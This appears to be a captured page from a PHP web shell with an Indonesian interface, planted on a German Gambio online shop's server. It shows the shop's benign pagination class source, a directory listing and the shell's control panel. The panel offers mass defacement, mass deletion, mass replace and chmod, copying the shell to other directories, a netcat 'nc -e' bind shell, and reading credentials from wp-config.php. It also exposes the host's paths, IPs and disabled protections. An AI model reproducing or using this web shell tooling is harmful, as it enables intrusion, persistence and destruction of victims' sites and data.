WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/classes/split_page_results.php (8.15 KB)
<?php
/* --------------------------------------------------------------
   split_page_results.php 2011-01-13 gm
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2011 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on:
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(split_page_results.php,v 1.14 2003/05/27); www.oscommerce.com
   (c) 2003	 nextcommerce (split_page_results.php,v 1.6 2003/08/13); www.nextcommerce.org
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: split_page_results.php 1166 2005-08-21 00:52:02Z mz $)

   Released under the GNU General Public License
   ---------------------------------------------------------------------------------------*/

  class splitPageResults_ORIGIN {
    var $sql_query, $number_of_rows, $current_page_number, $number_of_pages, $number_of_rows_per_page;

    // class constructor
    function splitPageResults_ORIGIN($query, $page, $max_rows, $count_key = '*') {
      $this->sql_query = $query;

      if (empty($page) || (is_numeric($page) == false)) $page = 1;
      $this->current_page_number = $page;

      $this->number_of_rows_per_page = $max_rows;

      $pos_to = strlen($this->sql_query);
      $pos_from = strpos($this->sql_query, ' FROM', 0);

      $pos_group_by = strpos($this->sql_query, ' GROUP BY', $pos_from);
      if (($pos_group_by < $pos_to) && ($pos_group_by != false)) $pos_to = $pos_group_by;

      $pos_having = strpos($this->sql_query, ' HAVING', $pos_from);
      if (($pos_having < $pos_to) && ($pos_having != false)) $pos_to = $pos_having;

      $pos_order_by = strpos($this->sql_query, ' ORDER BY', $pos_from);
      if (($pos_order_by < $pos_to) && ($pos_order_by != false)) $pos_to = $pos_order_by;

      if (strpos($this->sql_query, 'DISTINCT') || strpos($this->sql_query, 'GROUP BY')) {
        $count_string = 'DISTINCT ' . xtc_db_input($count_key);
        //$count_string = xtc_db_input($count_key);
      } else {
        $count_string = xtc_db_input($count_key);
      }

      $count_query = xtDBquery($query);
      $count = xtc_db_num_rows($count_query,true);

      $this->number_of_rows = $count;
      @$this->number_of_pages = ceil($this->number_of_rows / $this->number_of_rows_per_page);

      if ($this->current_page_number > $this->number_of_pages) {
        $this->current_page_number = $this->number_of_pages;
      }

      $offset = ($this->number_of_rows_per_page * ($this->current_page_number - 1));
      if($offset < 1) $offset = 0;

      $this->sql_query .= " LIMIT " . $offset . ", " . $this->number_of_rows_per_page;
    }

    // class functions

    // display split-page-number-links
    function display_links($max_page_links, $parameters = '') {
		global $PHP_SELF, $request_type;

		$coo_seo_boost = MainFactory::create_object('GMSEOBoost');

		$t_href_link_base = '';

		if($coo_seo_boost->boost_categories == true && strpos(gm_get_env_info('SCRIPT_NAME'), 'index.php') !== false) {
			# use boost url for splitting urls
			$t_href_link_base = $coo_seo_boost->get_current_boost_url();
		}
		else {
			# use default url for splitting urls
			$t_href_link_base = basename($PHP_SELF);
		}


		$display_links_string = '';

		$class = 'class="pageResults"';

		if (xtc_not_null($parameters) && (substr($parameters, -1) != '&')) $parameters .= '&';

		// previous button - not displayed on first page
		if ($this->current_page_number > 1) $display_links_string .= '<a href="' . xtc_href_link($t_href_link_base, $parameters . 'page=' . ($this->current_page_number - 1), $request_type) . '" class="pageResults" title=" ' . PREVNEXT_TITLE_PREVIOUS_PAGE . ' ">' . PREVNEXT_BUTTON_PREV . '</a>&nbsp;&nbsp;';

		$t_page_numbers_array = $this->get_page_numbers_array($this->current_page_number, $max_page_links, $this->number_of_pages);
		
		for($i = 0; $i < count($t_page_numbers_array); $i++)
		{
			if((int)$t_page_numbers_array[$i]['PAGE'] == $this->current_page_number)
			{
				$display_links_string .= '&nbsp;<strong>' . $t_page_numbers_array[$i]['TEXT'] . '</strong>&nbsp;';
			}
			elseif($t_page_numbers_array[$i]['TEXT'] == '...')
			{
				if($i == 1)
				{
					$display_links_string .= '<a href="' . xtc_href_link($t_href_link_base, $parameters . 'page=' . $t_page_numbers_array[$i]['PAGE'], $request_type) . '" class="pageResults" title=" ' . sprintf(PREVNEXT_TITLE_PREV_SET_OF_NO_PAGE, $max_page_links) . ' ">...</a>';
				}
				else
				{
					$display_links_string .= '<a href="' . xtc_href_link($t_href_link_base, $parameters . 'page=' . $t_page_numbers_array[$i]['PAGE'], $request_type) . '" class="pageResults" title=" ' . sprintf(PREVNEXT_TITLE_NEXT_SET_OF_NO_PAGE, $max_page_links) . ' ">...</a>&nbsp;';
				}
			}
			else
			{
				$display_links_string .= '&nbsp;<a href="' . xtc_href_link($t_href_link_base, $parameters . 'page=' . $t_page_numbers_array[$i]['PAGE'], $request_type) . '" class="pageResults" title=" ' . sprintf(PREVNEXT_TITLE_PAGE_NO, $t_page_numbers_array[$i]['PAGE']) . ' ">' . $t_page_numbers_array[$i]['TEXT'] . '</a>&nbsp;';
			}
		}

		// next button
		if (($this->current_page_number < $this->number_of_pages) && ($this->number_of_pages != 1)) $display_links_string .= '&nbsp;<a href="' . xtc_href_link($t_href_link_base, $parameters . 'page=' . ($this->current_page_number + 1), $request_type) . '" class="pageResults" title=" ' . PREVNEXT_TITLE_NEXT_PAGE . ' ">' . PREVNEXT_BUTTON_NEXT . '</a>&nbsp;';

		return $display_links_string;
    }

	function get_page_numbers_array($p_current_page, $p_max_page_number, $p_max_page)
	{
		$t_pages_array = array();

		$t_check_sum = 1 + (($p_max_page_number - 1) * 2) + 2;
		$count_index = 0;

		if($t_check_sum >= $p_max_page)
		{
			for($i = 1; $i <= $p_max_page; $i++)
			{
				$t_pages_array[$i-1]['PAGE'] = $i;
				$t_pages_array[$i-1]['TEXT'] = $i;
			}
		}
		else
		{

			$t_pages_before_and_after = $p_max_page_number - 1;
			if($p_current_page - $t_pages_before_and_after > 1)
			{
				$t_pages_array[$count_index]['PAGE'] = 1;
				$t_pages_array[$count_index]['TEXT'] = 1;
			}
			if($p_current_page - $t_pages_before_and_after > 2)
			{
				$count_index = count($t_pages_array);
				$t_pages_array[$count_index]['PAGE'] = $p_current_page - $t_pages_before_and_after - 1;
				$t_pages_array[$count_index]['TEXT'] = '...';
			}
			for($i = 0; $i < $t_pages_before_and_after * 2 + 1; $i++)
			{
				if($p_current_page - $t_pages_before_and_after + $i < $p_max_page && $p_current_page - $t_pages_before_and_after + $i > 0)
				{
					$count_index = count($t_pages_array);
					$t_pages_array[$count_index]['PAGE'] = $p_current_page - $t_pages_before_and_after + $i;
					$t_pages_array[$count_index]['TEXT'] = $p_current_page - $t_pages_before_and_after + $i;
				}
				
			}
			if($t_pages_array[count($t_pages_array)-1]['PAGE'] == $p_max_page - 2)
			{
				$count_index = count($t_pages_array);
				$t_pages_array[$count_index]['PAGE'] = $p_max_page - 1;
				$t_pages_array[$count_index]['TEXT'] = $p_max_page - 1;
			}
			elseif($t_pages_array[count($t_pages_array)-1]['PAGE'] < $p_max_page - 1)
			{
				$count_index = count($t_pages_array);
				$t_pages_array[$count_index]['PAGE'] = $p_current_page + $t_pages_before_and_after + 1;
				$t_pages_array[$count_index]['TEXT'] = '...';
			}
			$count_index = count($t_pages_array);
			$t_pages_array[$count_index]['PAGE'] = $p_max_page;
			$t_pages_array[$count_index]['TEXT'] = $p_max_page;
		}

		return $t_pages_array;
	}

    // display number of total products found
    function display_count($text_output) {
      $to_num = ($this->number_of_rows_per_page * $this->current_page_number);
      if ($to_num > $this->number_of_rows) $to_num = $this->number_of_rows;

      $from_num = ($this->number_of_rows_per_page * ($this->current_page_number - 1));

      if ($to_num == 0) {
        $from_num = 0;
      } else {
        $from_num++;
      }

      return sprintf($text_output, $from_num, $to_num, $this->number_of_rows);
    }
  }
?>
namawaktuukuranownerpermaksi
..
Smarty/ 2013-11-12 21:07343.97 KB 76129f60960:kundendxwrx-rx-r
billsafe_2/ 2013-11-12 21:0721.38 KB 76129f60960:kundendxwrx-rx-r
afterbuy.php 2013-11-12 21:0631.51 KB 76129f60960:kunden-xw-x-----
edt
banktransfer_validation.php 2013-11-12 21:0682.12 KB 76129f60960:kunden-xw-x-----
edt
boxes.php 2013-11-12 21:068.36 KB 76129f60960:kunden-xw-x-----
edt
boxes_old.php 2013-11-12 21:06366 B 76129f60960:kunden-xw-x-----
edt
breadcrumb.php 2013-11-12 21:062.02 KB 76129f60960:kunden-xw-x-----
edt
cc_validation.php 2013-11-12 21:063.42 KB 76129f60960:kunden-xw-x-----
edt
class.heidelpay.php 2013-11-12 21:0625.39 KB 76129f60960:kunden-xw-x-----
edt
class.inputfilter.php 2013-11-12 21:0613.32 KB 76129f60960:kunden-xw-x-----
edt
class.moneybookers.php 2013-11-12 21:0612.02 KB 76129f60960:kunden-xw-x-----
edt
class.phpmailer.php 2013-11-12 21:0646.01 KB 76129f60960:kunden-xw-x-----
edt
class.smtp.php 2013-11-12 21:0633.77 KB 76129f60960:kunden-xw-x-----
edt
http_client.php 2013-11-12 21:0613.32 KB 76129f60960:kunden-xw-x-----
edt
language.php 2013-11-12 21:066.31 KB 76129f60960:kunden-xw-x-----
edt
main.php 2013-11-12 21:065.58 KB 76129f60960:kunden-xw-x-----
edt
message_stack.php 2013-11-12 21:063.29 KB 76129f60960:kunden-xw-x-----
edt
navigation_history.php 2013-11-12 21:064.71 KB 76129f60960:kunden-xw-x-----
edt
order.php 2013-11-12 21:0629.55 KB 76129f60960:kunden-xw-x-----
edt
order_total.php 2013-11-12 21:0611.43 KB 76129f60960:kunden-xw-x-----
edt
payment.php 2013-11-12 21:0613.57 KB 76129f60960:kunden-xw-x-----
edt
paypal_checkout.php 2013-11-12 21:0672.2 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-de.php 2013-11-12 21:061.21 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-en.php 2013-11-12 21:061.04 KB 76129f60960:kunden-xw-x-----
edt
product.php 2013-11-12 21:0625.61 KB 76129f60960:kunden-xw-x-----
edt
sessions.php 2013-11-12 21:0613.23 KB 76129f60960:kunden-xw-x-----
edt
shipping.php 2013-11-12 21:065.95 KB 76129f60960:kunden-xw-x-----
edt
shopping_cart.php 2013-11-12 21:0626.02 KB 76129f60960:kunden-xw-x-----
edt
split_page_results.php 2013-11-12 21:068.15 KB 76129f60960:kunden-xw-x-----
edt
vat_validation.php 2013-11-12 21:0630.28 KB 76129f60960:kunden-xw-x-----
edt
wish_list.php 2013-11-12 21:0620.18 KB 76129f60960:kunden-xw-x-----
edt
xmlparserv4.php 2013-11-12 21:064.24 KB 76129f60960:kunden-xw-x-----
edt
xtbooster.php 2013-11-12 21:062.8 KB 76129f60960:kunden-xw-x-----
edt
xtcPrice.php 2013-11-12 21:0620.16 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK